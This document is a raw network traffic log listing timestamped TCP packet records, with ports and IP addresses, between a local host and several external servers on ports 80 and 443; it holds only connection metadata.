Nov 23, 2024 09:16:55.422940969 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.442317009 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.442337990 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.442373991 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.442382097 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.442406893 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.442583084 CET	49889	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:55.442622900 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:55.442867994 CET	49889	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:55.443486929 CET	49889	443	192.168.2.6	20.198.119.84
Nov 23, 2024 09:16:55.443497896 CET	443	49889	20.198.119.84	192.168.2.6
Nov 23, 2024 09:16:55.480281115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.480315924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.480370998 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.480757952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.480964899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.481012106 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.481901884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.482217073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.482264042 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.482958078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.483664989 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.483721018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.484062910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.484116077 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.484453917 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.484507084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.485183001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.485229969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.485245943 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.485363007 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.486304998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.486449957 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.487262964 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.487277985 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.487298965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.487392902 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.487436056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.487915993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.488101959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.488504887 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.488593102 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.488616943 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.488740921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.489689112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.489749908 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.489968061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.490015030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.534466982 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.551446915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.551481962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.551542997 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.551582098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.551930904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.551980019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.552031994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.553046942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.553378105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.553972006 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.554033995 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.554162025 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.554173946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.554199934 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.554218054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.555222988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.555288076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.555341959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.555416107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.556328058 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.556493044 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.556505919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.556689978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.557456017 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.557507992 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.557641029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.557704926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.558525085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.558845043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.558919907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.559672117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.559684038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.559720039 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.559743881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.560739994 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.560785055 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.560863018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.560971022 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.561837912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.561953068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.561960936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.562096119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.562958956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.563087940 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.563186884 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.564071894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.564122915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.564682007 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.564752102 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.565269947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.565330029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.565380096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.565448999 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.566267014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.566334963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.566615105 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.566742897 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.567384005 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.567395926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.567450047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.568463087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.568526030 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.568936110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.568988085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.569574118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.569596052 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.569622993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.569639921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.570820093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.570832014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.570869923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.571764946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.571846008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.572619915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.572668076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.572927952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.572940111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.572973013 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.573997021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.574053049 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.574168921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.574279070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.575089931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.575227022 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.575377941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.575424910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.576188087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.576212883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.576245070 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.576267004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.577297926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.577369928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.577430964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.577474117 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.578382015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.578427076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.579303026 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.579376936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.579519033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.579571009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.579969883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.580018044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.580583096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.580631971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.580677986 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.580728054 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.581700087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.581907988 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.582839966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.582854033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.582871914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.582887888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.582911968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.583941936 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.584038019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.584080935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.584177971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.585026979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.585073948 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.585150003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.585196972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.586153984 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.586204052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.587229013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.587239981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.587276936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.587323904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.587368965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.588323116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.588428020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.588660002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.588707924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.589473009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.589530945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.589672089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.590529919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.590678930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.590854883 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.591629028 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.591676950 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.591743946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.591793060 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.592710972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.592756987 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.592912912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.592959881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.593852043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.593863964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.593931913 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.594929934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.594979048 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.595201969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.595948935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.596026897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.596082926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.596158981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.596208096 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.597161055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.597224951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.597260952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.598222971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.598237991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.598398924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.599419117 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.599433899 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.599455118 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.599490881 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.599492073 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.599508047 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.599550962 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.599561930 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.604423046 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.604448080 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.604501963 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.604516983 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.604543924 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.604563951 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.610318899 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.610347986 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.610384941 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.610394955 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.610428095 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.610450029 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.610454082 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.612703085 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.612765074 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.612862110 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.613111973 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.613152027 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.613342047 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.613519907 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.613548994 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.613795042 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.613910913 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.613941908 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.613996983 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.614137888 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.614145041 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.614377022 CET	49893	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.614399910 CET	443	49893	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.614419937 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.614563942 CET	49892	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.614578009 CET	443	49892	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.614782095 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.614809990 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.614983082 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.615021944 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.615137100 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.615149975 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.615479946 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.615506887 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.615544081 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.615550995 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.615586042 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.621579885 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.621604919 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.621642113 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.621650934 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.621695042 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.626943111 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.626966953 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.627043962 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.627053022 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.628474951 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.628550053 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.628556967 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.628612041 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.634437084 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.634454012 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.634510994 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.634521008 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.634572983 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.653517962 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.653565884 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.653609037 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.653626919 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.653652906 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.653671980 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.681298018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.681360006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.681377888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.681437969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.681689978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.681740999 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.681786060 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.681967020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.682818890 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.682887077 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.683056116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.683098078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.683828115 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.683892012 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.683914900 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.684186935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.684628010 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.684698105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.684755087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.684891939 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.685734034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.685789108 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.686218023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.686306953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.686825037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.686875105 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.687344074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.687391996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.687918901 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.688277006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.688441992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.688621044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.689032078 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.689285994 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.689358950 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.689400911 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.690135956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.690200090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.690233946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.690278053 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.691282988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.691294909 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.691386938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.703267097 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:55.703495979 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:55.703532934 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:55.704570055 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:55.704663038 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:55.706281900 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:55.706365108 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:55.706672907 CET	49884	443	192.168.2.6	184.28.190.51
Nov 23, 2024 09:16:55.706696033 CET	443	49884	184.28.190.51	192.168.2.6
Nov 23, 2024 09:16:55.751523018 CET	49884	443	192.168.2.6	184.28.190.51
